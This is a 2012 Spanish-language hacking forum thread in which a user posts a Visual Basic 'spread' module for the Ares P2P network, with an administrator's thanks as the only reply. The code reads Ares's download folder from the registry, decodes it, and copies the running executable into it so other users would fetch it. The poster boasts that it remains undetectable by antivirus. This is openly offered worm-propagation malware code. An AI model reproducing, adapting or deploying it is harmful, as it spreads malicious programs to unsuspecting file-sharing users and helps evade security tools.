[Funcion] sAres - Spread Ares (Basico)

  • 1 Respuestas
  • 2311 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
  • Skype: k0wsit0
    • Ver Perfil

[Funcion] sAres - Spread Ares (Basico)

  • en: Marzo 31, 2012, 06:23:54 pm
Bueno,aqui os dejo este modulo que programe hace un tiempo.
Al dia de hoy sigue FUD.


Código: (vb) [Seleccionar]
'sAres Spread Via Ares.
'Autor:k0ws
'Respeta el autor.
Public Function sAres()
Dim Lector, Ruta As String, RutaCom As String
Set Lector = CreateObject("wscript.shell")
Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
RutaCom = HEX2ASCII(Ruta)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
End Function
Public Function HEX2ASCII(ByVal hextext As String) As String
    For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y
HEX2ASCII = Value
End Function

-Saludos-
« Última modificación: Enero 31, 2013, 02:10:50 pm por k0ws »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5708
  • Actividad:
    20%
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:[Funcion] sAres - Spread Ares (Basico)

  • en: Marzo 31, 2012, 06:25:37 pm
Excelete aporte man! muchisimas gracias!